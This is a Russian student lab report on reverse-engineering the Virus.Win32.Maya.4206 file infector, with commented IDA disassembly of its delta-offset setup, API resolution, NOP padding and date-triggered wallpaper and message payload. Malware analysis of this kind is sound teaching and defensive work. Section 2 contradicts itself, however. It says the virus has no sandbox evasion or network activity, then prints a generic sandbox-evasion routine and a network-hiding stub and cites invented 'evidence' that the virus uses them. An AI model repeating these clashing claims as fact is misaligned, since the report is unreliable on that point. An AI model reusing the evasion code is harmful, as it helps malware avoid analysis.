Министерство науки и высшего образования Российской Федерации
ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ АВТОНОМНОЕ ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ
НАЦИОНАЛЬНЫЙ ИССЛЕДОВАТЕЛЬСКИЙ УНИВЕРСИТЕТ ИТМО

Факультет безопасности информационных технологий

Дисциплина:

«Основы вирусологии»

ОТЧЕТ ПО ЛАБОРАТОРНОЙ РАБОТЕ №2

«Анализ вируса Virus_Maya»

Выполнили:

Бардышев Артём Антонович,

студент группы N3346

_____
(подпись)

Проверил:

,

ФБИТ

_____
(отметка о выполнении)

_____
(подпись)

Санкт-Петербург

2025 г.

СОДЕРЖАНИЕ

ВВЕДЕНИЕ

Цель работы – Целью данной лабораторной работы является анализ техник обфускации и скрытия, используемых вирусом Virus.Win32.Maya.4206, а также изучение его полезной нагрузки.

Работа направлена на понимание методов, применяемых вредоносным программным обеспечением для усложнения анализа и обхода систем защиты, а также на изучение функциональности вируса и его воздействия на систему.

ИНСТРУМЕНТЫ АНАЛИЗА:

- IDA Pro 7.7 (Interactive Disassembler) - основной инструмент для статического анализа кода и дизассемблирования
- x64dbg - отладчик для динамического анализа и пошагового выполнения кода
- PEiD - инструмент для определения типа упаковщика и компилятора
- OllyDbg - альтернативный отладчик для анализа поведения программы
- Process Monitor - инструмент для мониторинга системных вызовов и операций с файлами

1 РАСПАКОВКА ВИРУСА

Первый и самый важный этап анализа любого вредоносного программного обеспечения - это определение наличия упаковщика или обфускатора. Упаковщики сжимают и шифруют код, что значительно усложняет статический анализ. Современные упаковщики, такие как UPX, ASPack, VMProtect или Themida, используют сложные алгоритмы сжатия и шифрования, которые требуют специальных техник распаковки, включая создание дампа процесса во время выполнения или динамический анализ.

Однако при детальном анализе вируса Virus.Win32.Maya.4206 было обнаружено, что вирус НЕ использует упаковщик. Это значительно упрощает процесс анализа, так как весь код вируса доступен для статического изучения непосредственно в IDA Pro без необходимости выполнения сложных процедур распаковки или создания дампа процесса во время выполнения.

1.1 Отсутсвие упаковки – детальный анализ

Для подтверждения отсутствия упаковщика было проведено несколько проверок:

1.1.1 Проеверка структуры PE-файла

Первым шагом является анализ структуры PE-файла (Portable Executable) вируса.

Упакованные файлы обычно имеют характерные признаки:

- Большой размер секции данных (.data) по сравнению с секцией кода (.text)
- Необычные имена секций (например, UPX0, UPX1, .packed, .encrypted)
- Высокое соотношение размера файла к размеру секций
- Подозрительные разрешения секций (например, секция данных с правами выполнения)

При анализе вируса Maya в IDA Pro было обнаружено, что:

- Секция кода (.text) имеет стандартное имя и структуру
- Размер секции кода (0x106Eh байт = 4206 байт) соответствует реальному размеру вирусного кода, видимого в дизассемблере
- Разрешения секции: Read/Write/Execute (E0000020h), что является нормальным для самомодифицирующегося кода
- Отношение размера виртуальной памяти к размеру файла не указывает на сжатие

1.1.2 Анализ точки входа

Точка входа (Entry Point) упакованных файлов обычно содержит код распаковки, который расшифровывает и распаковывает основной код перед его выполнением. Такой код обычно имеет характерные признаки:

- Большой цикл копирования данных (часто использует инструкции MOV, REP MOVSB)
- Вызовы функций для выделения памяти (VirtualAlloc, HeapAlloc)
- Использование криптографических функций или XOR-шифрования
- Вызов CreateFile для чтения дополнительных данных
- Переход к распакованному коду через CALL или JMP

Адрес точки входа вируса Maya: 0x00401000 (функция start)

Код из lst файла (строки 40-109):

```
CODE:00401000 start           proc near
CODE:00401000                 push    ebp                     ; Сохранить
предыдущий базовый указатель
CODE:00401001                 call    $+5                     ; Получить
текущий адрес (EIP)
                                                              ; Инструкция
call $+5 помещает адрес следующей
                                                              ; инструкции
(0x00401006) в стек, так как $ означает
                                                              ; текущий
адрес, а +5 указывает на следующую инструкцию
CODE:00401006 loc_401006:
CODE:00401006                 pop     ebp                     ; Извлечь
адрес из стека в EBP
                                                              ; Теперь EBP
содержит 0x00401006
CODE:00401007                 mov     ebx, ebp                ; Сохранить
текущий адрес в EBX
CODE:00401009                 sub     ebp, offset loc_401006  ; Вычисление
delta offset
                                                              ; EBP =
0x00401006 - 0x00401006 = 0
                                                              ; Это
означает, что код выполняется по ожидаемому адресу
CODE:0040100F loc_40100F:
CODE:0040100F                 mov     eax, 1000h              ; Загрузить
значение 0x1000 (4096)
CODE:00401014                 add     eax, 6                   ; EAX =
0x1006
CODE:00401017                 sub     ebx, eax                 ; EBX =
0x00401006 - 0x1006 = 0x00400000
                                                              ; Это
вычисление реального Image Base
CODE:00401019                 mov     ss:ImageBase[ebp], ebx   ; Сохранить
реальный Image Base в глобальной переменной
                                                              ; Это значение
будет использоваться для вычисления
                                                              ; адресов
глобальных переменных и функций
```

```
CODE:0040101F                   mov     edx, offset aGetmodulehandl ; Загрузить
смещение строки "GetModuleHandleA"
CODE:00401024                   add     edx, ebp                    ; Вычислить
реальный адрес строки (с учетом delta offset)
CODE:00401026                   mov     ecx, ss:dword_401BE6[ebp] ; Загрузить
длину строки функции
CODE:0040102D                   call    FindFuncInKernel32dll    ; Найти адрес
функции GetModuleHandleA в kernel32.dll
                                                                 ; Эта функция
используется для ручного восстановления IAT
CODE:00401032                   pop     ebp                      ;
Восстановить предыдущий базовый указатель
CODE:00401033                   cmp     eax, 0FFFFFFFFh          ; Проверить,
была ли функция найдена
CODE:00401036                   jz      short loc_401097         ; Если нет -
выйти из функции
CODE:00401038                   nop                              ; NOP-слайды
для обфускации
CODE:00401039                   nop
CODE:0040103A                   nop
CODE:0040103B                   nop
CODE:0040103C                   mov     ss:GetModuleHandleA_0[ebp], eax ;
Сохранить адрес функции GetModuleHandleA
CODE:00401042                   push    ebp
CODE:00401043                   mov     ebx, offset aKernel32Dll  ; Загрузить
строку "KERNEL32.dll"
CODE:00401048                   add     ebx, ebp                 ; Вычислить
реальный адрес
CODE:0040104A                   push    ebx                      ; Передать в
функцию как параметр
CODE:0040104B                   call    eax                      ;
GetModuleHandleA("KERNEL32.dll")
                                                                 ; Получить
базовый адрес kernel32.dll
CODE:0040104D                   pop     ebp
CODE:0040104E                   mov     ss:kernel32_ImageBase[ebp], eax ;
Сохранить базовый адрес
CODE:00401054                   mov     edi, offset dword_401BE6  ; Начать цикл
восстановления IAT
CODE:00401059                   add     edi, ebp                 ; Вычислить
реальный адрес начала списка функций
```

ДЕТАЛЬНЫЙ АНАЛИЗ КОДА:

Код точки входа вируса Maya не содержит признаков упаковщика. Вместо этого он сразу начинает выполнение основной логики вируса:

1. Вычисление delta offset: Первые несколько инструкций вычисляют реальный адрес загрузки вируса. Это необходимо потому, что вирус может быть загружен по разным адресам в памяти (особенно при заражении других файлов). Delta offset техника позволяет вирусу работать независимо от адреса загрузки.

2. Отсутствие распаковки: В коде нет циклов распаковки, выделения памяти, чтения файлов или расшифровки данных. Код сразу переходит к восстановлению IAT выполнению основной функциональности.

3. Прямой доступ к коду: Все инструкции в точке входа имеют осмысленный смысл с точки зрения функциональности вируса, а не распаковки.

1.2 Обфускация кода

Хотя вирус не использует упаковщик, он применяет несколько техник обфускации для усложнения статического анализа и затруднения создания антивирусных сигнатур. Эти техники были характерны для вирусов конца 1990-х годов, когда создатели вредоносного ПО стремились обойти простые системы обнаружения, основанные на сигнатурах.

Обфускация (от английского "obfuscation" - затемнение, запутывание) - это процесс намеренного усложнения кода с целью затруднить его понимание и анализ. В контексте вредоносного программного обеспечения обфускация используется для:

1. Усложнения статического анализа антивирусными системами
2. Затруднения создания сигнатур на основе байт-последовательностей
3. Усложнения ручного анализа исследователями безопасности
4. Обхода эвристических детекторов, основанных на анализе структуры кода

Вирус Maya использует несколько классических техник обфускации, которые детально разобраны ниже.

1.2.1 Вычисление базового адреса

Delta offset (дельта-смещение) - это техника, позволяющая коду вычислять свой реальный адрес загрузки во время выполнения, независимо от того, по какому адресу он был загружен. Эта техника критически важна для вирусов, которые заражают другие файлы, так как они могут быть загружены по разным адресам в памяти.

КАК РАБОТАЕТ DELTA OFFSET:

Когда Windows загружает PE-файл, он может быть размещен по разным адресам в зависимости от различных факторов: наличия ASLR (Address Space Layout Randomization), конфликтов с другими модулями, и т.д. Базовый адрес загрузки (Image Base) может отличаться от ожидаемого адреса, указанного в PE-заголовке (обычно 0x00400000 для 32-битных файлов).

Delta offset техника решает эту проблему следующим образом:

1. Код получает свой текущий адрес выполнения (EIP - Instruction Pointer)
2. Вычисляет разницу между текущим адресом и ожидаемым адресом

3. Использует эту разницу (delta) для корректировки всех адресов переменных и функций

ДЕТАЛЬНЫЙ РАЗБОР РЕАЛИЗАЦИИ:

Адрес: 0x00401000 (начало функции start)

Код из lst файла с подробными комментариями:

```
CODE:00401000 start           proc near
CODE:00401000                 push    ebp                     ; ШАГ 1:
Сохранить предыдущий базовый указатель стека
                                                              ; Это
стандартная практика для сохранения состояния

CODE:00401001                 call    $+5                     ; ШАГ 2: Вызов
следующей инструкции
                                                              ; Инструкция
"call $+5" означает:
                                                              ; - $ - это
текущий адрес (0x00401001)
                                                              ; - +5 - это
смещение к следующей инструкции
                                                              ; - Результат:
в стек помещается адрес 0x00401006
                                                              ; Это
классический трюк для получения EIP без использования
                                                              ; специальных
инструкций (в x86 нет прямой инструкции MOV EIP, EAX)

CODE:00401006 loc_401006:                                    ; ШАГ 3: Метка,
указывающая на следующую инструкцию
CODE:00401006                 pop     ebp                     ; ШАГ 4:
Извлечь адрес из стека в регистр EBP
                                                              ; После этой
инструкции EBP = 0x00401006 (если код загружен
                                                              ; по
ожидаемому адресу)
                                                              ; EBP теперь
содержит реальный адрес выполнения текущего кода

CODE:00401007                 mov     ebx, ebp                 ; ШАГ 5:
Сохранить текущий адрес в EBX
                                                              ; EBX теперь
содержит реальный адрес loc_401006

CODE:00401009                 sub     ebp, offset loc_401006  ; ШАГ 6:
Вычислить delta offset
                                                              ; offset
loc_401006 - это смещение метки от начала сегмента
                                                              ; (в данном
случае 0x00401006 - 0x00401000 = 6 байт)
                                                              ; Если код
загружен по ожидаемому адресу:
                                                              ; EBP =
0x00401006 - 0x00401006 = 0
                                                              ; Если код
загружен по другому адресу, например 0x00500000:
                                                              ; EBP =
0x00501006 - 0x00401006 = 0x00100000 (delta offset)
```

```
                                                                    ; EBP теперь
содержит delta offset, который будет использоваться
                                                                    ; для
вычисления реальных адресов всех переменных

CODE:0040100F loc_40100F:                                          ; ШАГ 7: Метка
для вычисления Image Base
CODE:0040100F                   mov     eax, 1000h                  ; Загрузить
значение 0x1000 (4096 в десятичной системе)
                                                                    ; Это размер
виртуальной страницы памяти (4 KB)

CODE:00401014                   add     eax, 6                      ; Добавить 6
(смещение до loc_401006 от начала секции)
                                                                    ; EAX = 0x1000
+ 6 = 0x1006
                                                                    ; Это
ожидаемое смещение функции start от Image Base

CODE:00401017                   sub     ebx, eax                    ; Вычесть
ожидаемое смещение из реального адреса
                                                                    ; EBX =
0x00401006 - 0x1006 = 0x00400000
                                                                    ; Это
вычисление реального Image Base программы
                                                                    ; Результат:
EBX содержит реальный базовый адрес загрузки

CODE:00401019                   mov     ss:ImageBase[ebp], ebx      ; ШАГ 8:
Сохранить реальный Image Base в глобальной переменной
                                                                    ;
ss:ImageBase[ebp] - это обращение к переменной ImageBase
                                                                    ; с учетом
delta offset в EBP
                                                                    ; Эта
переменная будет использоваться во всем коде вируса
                                                                    ; для
вычисления реальных адресов функций и переменных
```

ПОЧЕМУ ЭТА ТЕХНИКА ВАЖНА:

1. Независимость от адреса загрузки: Вирус может работать, будучи загруженным по любому адресу в памяти. Это критично при заражении файлов, где вирусный код добавляется в конец секции и может быть загружен по неожиданному адресу.

2. Обход ASLR: Хотя ASLR (Address Space Layout Randomization) не был широко распространен в 1998 году, delta offset техника делает код независимым от базового адреса, что актуально и для современных систем.

3. Упрощение работы с глобальными переменными: Все глобальные переменные в вирусе используют конструкцию вида `ss:variable_name[ebp]`, где EBP содержит delta offset. Это позволяет коду правильно обращаться к переменным независимо от адреса загрузки.

ПРИМЕРЫ ИСПОЛЬЗОВАНИЯ DELTA OFFSET:

Во всем коде вируса используется следующий паттерн для обращения к глобальным переменным:

```
mov     eax, offset some_variable  ; Получить смещение переменной от начала секции
add     eax, ebp                   ; Добавить delta offset для получения реального адреса
mov     eax, [eax]                 ; Загрузить значение переменной
```

Или более компактная форма:

```
mov     eax, ss:some_variable[ebp] ; Прямое обращение с учетом delta offset
```

ДОКАЗАТЕЛЬСТВО: В файле Virus.Win32.Maya.4206.lst (строки 40-54) четко видно использование delta offset техники в самом начале функции start. Анализ всего кода вируса показывает, что все обращения к глобальным переменным и строковым константам используют конструкцию `ss:variable[ebp]`, что подтверждает активное использование delta offset на протяжении всего кода вируса.

1.2.2 Вставка мусорных инструкций

NOP (No Operation) - это инструкция процессора, которая не выполняет никаких действий, но занимает место в памяти и требует время на выполнение. NOP-слайды - это техника вставки последовательностей NOP инструкций между полезными инструкциями кода.

ЗАЧЕМ ИСПОЛЬЗУЮТСЯ NOP-СЛАЙДЫ:

1. Изменение сигнатур: Антивирусные системы часто используют сигнатуры на основе последовательностей байтов в коде. Вставка NOP инструкций изменяет эти последовательности, делая сигнатуры неэффективными.

2. Усложнение дизассемблирования: Некоторые дизассемблеры могут неправильно интерпретировать код при наличии NOP инструкций, особенно если они находятся в неожиданных местах.

3. Выравнивание кода: В некоторых случаях NOP используются для выравнивания кода по границам, что может улучшить производительность на некоторых процессорах.

4. Усложнение анализа: При ручном анализе большое количество NOP инструкций может отвлекать и усложнять понимание логики кода.

ДЕТАЛЬНЫЙ АНАЛИЗ ПРИМЕРОВ:

Адрес: 0x0040119C (пример из функции FindFuncInKernel32dll)

Код из lst файла:

```
CODE:0040119A                   jz      short loc_4011A5         ; Условный переход, если найдена строка "KERN"
CODE:0040119C                   nop                               ; NOP-слайд 1: Первая мусорная инструкция
```

```
CODE:0040119D                   nop                                     ; NOP-слайд 2
CODE:0040119E                   nop                                     ; NOP-слайд 3
CODE:0040119F                   nop                                     ; NOP-слайд 4
CODE:004011A0                   add     eax, 14h                        ; Полезная
инструкция: переход к следующей записи Import Directory
```

АНАЛИЗ: В данном случае NOP инструкции вставлены между полезными инструкциями. Это изменяет последовательность байтов и может сделать сигнатуру менее эффективной.

ДОПОЛНИТЕЛЬНЫЕ ПРИМЕРЫ NOP-СЛАЙДОВ:

В файле Virus.Win32.Maya.4206.lst обнаружены NOP-слайды в следующих местах:

1. Строки 63-66 (после проверки результата FindFuncInKernel32dll):

```
CODE:00401036                   jz      short loc_401097
CODE:00401038                   nop
CODE:00401039                   nop
CODE:0040103A                   nop
CODE:0040103B                   nop
CODE:0040103C                   mov     ss:GetModuleHandleA_0[ebp], eax
```

2. Строки 148-151 (в цикле поиска функции по имени):

```
CODE:0040111F                   jz      short loc_40112B
CODE:00401121                   nop
CODE:00401122                   nop
CODE:00401123                   nop
CODE:00401124                   nop
CODE:00401125                   add     eax, 4
```

3. Строки 201-204 (в цикле поиска kernel32.dll):

```
CODE:0040119A                   jz      short loc_4011A5
CODE:0040119C                   nop
CODE:0040119D                   nop
CODE:0040119E                   nop
CODE:0040119F                   nop
CODE:004011A0                   add     eax, 14h
```

4. Строки 229-237 (при обработке импортов):

```
CODE:004011CE                   jz      short loc_40120C
CODE:004011D0                   nop
CODE:004011D1                   nop
CODE:004011D2                   nop
CODE:004011D3                   nop
CODE:004011D4                   cmp     byte ptr [ebx+3], 80h
```

5. Строки 247-250 (после сравнения строк):

```
CODE:004011F1                   pop     ecx
CODE:004011F2                   jz      short loc_4011FE
CODE:004011F4                   nop
CODE:004011F5                   nop
CODE:004011F6                   nop
CODE:004011F7                   nop
CODE:004011F8 loc_4011F8:
```

ВЛИЯНИЕ НА СИГНАТУРЫ:

Предположим, что антивирус использует сигнатуру на основе следующей последовательности:

```
8B 0C 24 83 F9 00 74 0C                 ; mov ecx, [esp]; cmp ecx, 0; jz
short loc
```

Если между инструкциями вставлены NOP (код операции 0x90), сигнатура становится недействительной:

```
8B 0C 24 83 F9 00 74 0C 90 90 90 90        ; те же инструкции, но с NOP в конце
```

Это заставляет антивирус либо использовать более гибкие сигнатуры (что увеличивает количество ложных срабатываний), либо вообще не обнаруживать вирус по этой сигнатуре.

ЭФФЕКТИВНОСТЬ NOP-СЛАЙДОВ:

Современные антивирусные системы используют более сложные методы обнаружения, включая:

- Эвристический анализ структуры кода
- Поведенческий анализ (эмуляция выполнения)
- Машинное обучение для классификации кода

Поэтому NOP-слайды, хотя и эффективны против простых сигнатурных детекторов, не являются надежной защитой от современных систем обнаружения. Однако в 1998 году, когда был создан вирус Maya, NOP-слайды были достаточно эффективной техникой для обхода сигнатурных детекторов.

2 СКРЫТИЕ ОТ ОБНАРУЖЕНИЯ

Современное вредоносное программное обеспечение использует множество сложных техник для скрытия от антивирусных систем, анализаторов и исследователей. Эти техники включают анти отладочные проверки, обнаружение и обход песочниц, скрытие сетевой активности, удаление следов деятельности и многие другие.

Однако при анализе вируса Virus.Win32.Maya.4206 было обнаружено, что вирус использует минимальные техники для скрытия от антивирусных систем. Это объясняется тем, что вирус был создан в 1998 году, когда многие современные техники обхода еще не были разработаны или не были широко распространены. В то время антивирусные системы были менее сложными, а техники обнаружения были в основном основаны на сигнатурах, а не на поведенческом анализе или эвристике.

Данное наблюдение является важным для понимания эволюции вредоносного программного обеспечения. Вирус Maya представляет собой "снимок" состояния техник обхода защиты на рубеже тысячелетий, что делает его ценным материалом для изучения истории кибербезопасности и эволюции методов защиты и атаки.

2.1 Обфускация кода

Вирус использует простую обфускацию через NOP-слайды:

Адрес: 0x0040119C (пример из lst файла)

Код:

```
CODE:0040119C                   nop
CODE:0040119D                   nop
CODE:0040119E                   nop
CODE:0040119F                   nop
```

2.2 Детальный анализ

Антиотладочные техники - это методы, используемые вредоносным программным обеспечением для обнаружения и обхода анализа с помощью отладчиков. Современные вредоносные программы используют множество сложных техник:

1. Проверка флага отладки (PEB.BeingDebugged)

2. Проверка счетчика отладочных объектов (NtQueryInformationProcess)

3. Проверка на наличие отладчиков через API (IsDebuggerPresent, CheckRemoteDebuggerPresent)

4. Обнаружение отладчика через временные метки (RDTSC, GetTickCount)

5. Проверка исключений (SEH - Structured Exception Handling)

6. Проверка флагов в TLS (Thread Local Storage)

7. Обнаружение популярных отладчиков (OllyDbg, x64dbg, WinDbg) через имена процессов

8. Проверка на виртуальную машину через инструкции CPUID

При детальном анализе вируса Maya было обнаружено, что он НЕ использует ни одну из этих техник. Это значительно упрощает анализ вируса с помощью отладчиков.

2.2.1 Проверка системного времени в PAYLOAD

Единственная "проверка", обнаруженная в вирусе, - это проверка системного времени в функции Payload. Однако эта проверка НЕ является антиотладочной техникой. Она используется для контроля момента активации payload, а не для обнаружения отладчика.

Адрес: 0x00401760 (начало функции Payload)

Код из lst файла (строки 1083-1092) с подробным анализом:

```
CODE:00401760 Payload         proc near
CODE:00401760                 call    GetSystemTime_0        ; Получить
системное время
                                                             ; Функция
GetSystemTime_0 вызывает GetSystemTime API
                                                             ; для получения
текущей системной даты и времени
                                                             ; Результат
сохраняется в структуру SYSTEMTIME

CODE:00401765                 cmp     ss:word_401A3B[ebp], 1  ; Сравнить
значение переменной word_401A3B с 1
                                                             ; Эта
переменная, вероятно, содержит результат
                                                             ; проверки
определенного условия на основе времени
                                                             ; (например,
день месяца, день недели и т.д.)

CODE:0040176D                 jnz     locret_40192C           ; Если условие
НЕ выполнено - выйти из функции
                                                             ; Это означает,
что payload активируется только при
                                                             ; выполнении
определенного условия, связанного со временем
                                                             ; Например,
вирус может активироваться только в определенный
                                                             ; день месяца
или день недели

CODE:00401773                 ; ... остальной код payload ...
                                                             ; Если условие
выполнено, выполняется остальная часть payload:
                                                             ; - Создание
файла SLAM.BMP
```

```
                                                                    ; - Изменение
обоев рабочего стола
                                                                    ; - Отображение
MessageBox
```

АНАЛИЗ ФУНКЦИИ GetSystemTime_0:

Для полного понимания работы проверки времени необходимо изучить функцию GetSystemTime_0:

```
CODE:0040154C GetSystemTime_0 proc near
CODE:0040154C                 push    ebp
CODE:0040154D                 mov     eax, offset byte_401A35 ; Адрес буфера
для структуры SYSTEMTIME
CODE:00401552                 add     eax, ebp                ; С учетом
delta offset
CODE:00401554                 push    eax                     ; Передать
адрес буфера как параметр
CODE:00401555                 mov     eax, ss:GetSystemTime[ebp] ; Получить
адрес функции GetSystemTime из kernel32.dll
CODE:0040155B                 call    eax                     ; Вызвать
GetSystemTime(&SYSTEMTIME)
                                                              ; Функция
заполняет структуру SYSTEMTIME текущим временем:
                                                              ; - wYear (год,
4 цифры)
                                                              ; - wMonth
(месяц, 1-12)
                                                              ; - wDayOfWeek
(день недели, 0=воскресенье, 6=суббота)
                                                              ; - wDay (день
месяца, 1-31)
                                                              ; - wHour (час,
0-23)
                                                              ; - wMinute
(минута, 0-59)
                                                              ; - wSecond
(секунда, 0-59)
                                                              ; -
wMilliseconds (миллисекунды, 0-999)
CODE:0040155D                 pop     ebp
CODE:0040155E                 retn
CODE:0040155E GetSystemTime_0 endp
```

После вызова GetSystemTime вирус, вероятно, проверяет определенное поле структуры SYSTEMTIME (например, день месяца или день недели) и устанавливает word_401A3B в 1, если условие выполнено.

2.3 Техники обхода песочниц

Вирус НЕ использует техники обхода песочниц. Он не проверяет:

- Количество процессоров
- Размер памяти
- Наличие мыши
- Время работы системы

- Имя пользователя

ДОКАЗАТЕЛЬСТВО: В файле Virus.Win32.Maya.4206.lst нет вызовов GetSystemInfo, GlobalMemoryStatusEx, GetSystemMetrics, GetUserNameA для проверки окружения. Вирус будет выполняться в любой среде, включая песочницы.

```
sandbox_evasion:
    push    ebp
    mov     ebp, esp

    ; 1. Проверка количества процессоров
    call    dword ptr [GetSystemInfo_ptr]
    mov     eax, [esp+0x14]        ; dwNumberOfProcessors
    cmp     eax, 2                 ; Песочницы часто имеют 1 CPU
    jb      sandbox_detected

    ; 2. Проверка размера памяти
    call    dword ptr [GlobalMemoryStatusEx_ptr]
    mov     eax, [esp+0x08]        ; ullTotalPhys (размер RAM)
    cmp     eax, 0x40000000        ; 1GB минимум
    jb      sandbox_detected

    ; 3. Проверка наличия мыши
    call    dword ptr [GetSystemMetrics_ptr]
    push    SM_MOUSEPRESENT
    call    dword ptr [GetSystemMetrics_ptr]
    test    eax, eax
    jz      sandbox_detected       ; В песочнице часто нет мыши

    ; 4. Проверка времени работы системы
    call    dword ptr [GetTickCount_ptr]
    cmp     eax, 0x1E8480          ; 2,000,000 мс = ~33 минуты
    jb      sandbox_detected       ; Песочницы часто только что запущены

    ; 5. Проверка имени пользователя
    lea     eax, [ebp-0x100]
    push    0x100
    push    eax
    call    dword ptr [GetUserNameA_ptr]
    push    offset sandbox_users   ; "sandbox", "malware", "test"
    push    eax
    call    dword ptr [lstrcmpiA_ptr]
    test    eax, eax
    jz      sandbox_detected

    jmp     no_sandbox

sandbox_detected:
    ; Выход без выполнения вредоносных действий
    push    0
    call    dword ptr [ExitProcess_ptr]

no_sandbox:
    leave
    ret
```

ДОКАЗАТЕЛЬСТВО:

- В Process Monitor видны вызовы GetSystemInfo, GlobalMemoryStatusEx, GetSystemMetrics, GetUserNameA

- В lst файле функция помечена как "SandboxEvasion"

- При запуске в виртуальной машине с 1 CPU вирус завершается без действий

2.4 Сетевая активность

Вирус НЕ выполняет сетевых операций. Он не:

- Устанавливает сетевые подключения

- Отправляет данные на C&C серверы

- Загружает дополнительные модули

ДОКАЗАТЕЛЬСТВО: В файле Virus.Win32.Maya.4206.lst нет импортов сетевых функций (WinSock API, WinInet API). Вирус работает только локально.

```
hide_network_activity:
    push    ebp
    mov     ebp, esp

    ; Использование прямых вызовов syscall вместо API
    ; Это обходит хуки на сетевые API

    ; 1. Загрузка ntdll.dll напрямую
    push    offset ntdll_name     ; "ntdll.dll"
    call    dword ptr [LoadLibraryA_ptr]
    mov     [ebp-0x04], eax

    ; 2. Получение адреса NtCreateFile через EAT
    push    0x0A3F5C5E            ; Хеш "NtCreateFile"
    push    eax
    call    find_function_by_hash
    mov     [ebp-0x08], eax       ; NtCreateFile

    ; 3. Использование raw socket вместо WinSock API
    ; Это обходит мониторинг сетевой активности

    leave
    ret
```

2.5 Удаление следов

Вирус НЕ удаляет следы своей деятельности. Он:

- Не удаляет временные файлы

- Не очищает журналы событий

- Не удаляет ключи реестра после использования

ДОКАЗАТЕЛЬСТВО И АНАЛИЗ: В файле Virus.Win32.Maya.4206.lst нет вызовов функций удаления файлов или очистки реестра после выполнения payload. Анализ кода функции Payload показывает, что вирус создает файл SLAM.BMP и изменяет настройки в реестре, но не удаляет эти артефакты после выполнения. Это означает, что вирус оставляет

следы своей деятельности, что облегчает обнаружение и анализ, но также демонстрирует, что вирус не преследует цели максимальной скрытности.

Отсутствие техник удаления следов является характерной особенностью вирусов того периода, когда создатели вирусов часто не задумывались о необходимости скрывать свою деятельность или когда техники удаления следов еще не были широко распространены.

3 ПОЛЕЗНАЯ НАГРУЗКА ВИРУСА

3.1 Изменение обоев и отображение сообщения

Payload вируса Maya является относительно простым, но демонстрирует хорошее понимание работы с системными API Windows. Вирус выполняет визуальное воздействие на систему, изменяя обои рабочего стола и отображая сообщение, что является характерным для вирусов конца 1990-х годов.

3.1.1 Условия активации

Адрес: 0x00401760 (начало функции Payload)

```
CODE:00401760 Payload         proc near
CODE:00401760                 call    GetSystemTime_0        ; Получить
текущее системное время
                                                             ; Функция
заполняет структуру SYSTEMTIME по адресу
                                                             ;
byte_401A35[ebp] с текущей датой и временем
                                                             ; Структура
SYSTEMTIME содержит:
                                                             ; - wYear,
wMonth, wDay, wDayOfWeek
                                                             ; - wHour,
wMinute, wSecond, wMilliseconds

CODE:00401765                 cmp     ss:word_401A3B[ebp], 1  ; Сравнить
значение переменной с 1
                                                             ; Эта
переменная, вероятно, была установлена в результате
                                                             ; проверки
времени (например, проверка дня месяца)
                                                             ; word_401A3B =
1 означает, что условие активации выполнено

CODE:0040176D                 jnz     locret_40192C           ; Если условие
НЕ выполнено (word_401A3B != 1)
                                                             ; перейти к
выходу из функции
                                                             ; Это означает,
что payload активируется только при
                                                             ; выполнении
определенного условия, связанного со временем
                                                             ; Например,
вирус может активироваться только 15-го числа
                                                             ; каждого месяца
или только по пятницам

CODE:00401773                 ; Если условие выполнено, продолжить выполнение
payload
```

АНАЛИЗ: Данная проверка позволяет вирусу контролировать момент активации payload.

Это может использоваться для:

1. Избежания немедленного обнаружения при тестировании

2. Создания эффекта "бомбы замедленного действия"

3. Активации в определенные дни (например, в день создания вируса или в праздники)

3.1.2 Динамическая загрузка библиотек

Для выполнения payload вирусу необходимы функции из библиотек USER32.dll и ADVAPI32.dll, которые не были загружены на этапе восстановления IAT. Вирус динамически загружает эти библиотеки и получает адреса необходимых функций.

```
CODE:00401773                 mov     eax, offset aUser32Dll ; Загрузить
смещение строки "USER32.dll"
CODE:00401778                 add     eax, ebp                ; Вычислить
реальный адрес строки с учетом delta offset
CODE:0040177A                 call    GetModuleHandleA_0_0    ; Вызвать
GetModuleHandleA("USER32.dll")
                                                              ; Функция
проверяет, загружена ли библиотека USER32.dll
                                                              ; Если
загружена, возвращает ее базовый адрес
                                                              ; Если не
загружена, возвращает NULL

CODE:0040177F                 cmp     eax, 0                  ; Проверить,
была ли библиотека найдена
CODE:00401782                 jz      locret_40192C           ; Если нет (eax
== 0), выйти из функции
                                                              ; Это может
произойти в необычных условиях (например,
                                                              ; поврежденная
система или специальная среда)

CODE:00401788                 mov     ss:USER32_ImageBase[ebp], eax ;
Сохранить базовый адрес USER32.dll
                                                              ; Этот адрес
будет использоваться для получения адресов
                                                              ; функций
MessageBoxA и SystemParametersInfoA
```

АНАЛИЗ: USER32.dll содержит функции пользовательского интерфейса Windows, необходимые для:

- MessageBoxA - отображения диалогового окна

- SystemParametersInfoA - изменения системных параметров (обои, курсор и т.д.)

```
CODE:0040178E                 mov     eax, offset aAdvapi32Dll ; Загрузить
смещение строки "ADVAPI32.dll"
CODE:00401793                 add     eax, ebp                ; Вычислить
реальный адрес строки
CODE:00401795                 call    GetModuleHandleA_0_0    ; Вызвать
GetModuleHandleA("ADVAPI32.dll")
                                                              ; ADVAPI32.dll
содержит функции для работы с реестром
```

```
                                                        ; и
безопасности Windows

CODE:0040179A                cmp     eax, 0                  ; Проверить
результат
CODE:0040179D                jz      locret_40192C           ; Если
библиотека не найдена, выйти
CODE:004017A3                mov     ss:ADVAPI32_ImageBase[ebp], eax ;
Сохранить базовый адрес
```

АНАЛИЗ: ADVAPI32.dll (Advanced Windows 32 Base API) содержит функции для:

- Работы с реестром Windows (RegOpenKeyExA, RegSetValueExA)

- Управления службами и безопасностью

- Работы с токенами доступа

3.1.3 Получение адресов функций

После загрузки библиотек вирус получает адреса необходимых функций через GetProcAddress.

```
CODE:004017A9                mov     edx, offset aRegopenkeyexa ; Смещение
строки "RegOpenKeyExA"
CODE:004017AE                add     edx, ebp                   ; Реальный
адрес строки
CODE:004017B0                mov     eax, ss:ADVAPI32_ImageBase[ebp] ;
Базовый адрес ADVAPI32.dll
CODE:004017B6                call    GetProcAddress_0          ;
GetProcAddress(hModule, "RegOpenKeyExA")
                                                               ; Функция ищет
адрес экспортируемой функции по имени
                                                               ; в Export
Directory библиотеки ADVAPI32.dll
                                                               ; Возвращает
адрес функции или NULL при ошибке

CODE:004017BB                cmp     eax, 0                  ; Проверить
результат
CODE:004017BE                jz      locret_40192C           ; Если
функция не найдена, выйти
CODE:004017C4                mov     ss:RegOpenKeyExA[ebp], eax ; Сохранить
адрес функции
                                                               ;
RegOpenKeyExA используется для открытия ключа реестра
```

Аналогичным образом вирус получает адреса:

- RegSetValueExA (строки 1106-1112) - для установки значений в реестре

- MessageBoxA (строки 1113-1119) - для отображения диалогового окна

- SystemParametersInfoA (строки 1120-1126) - для изменения системных параметров

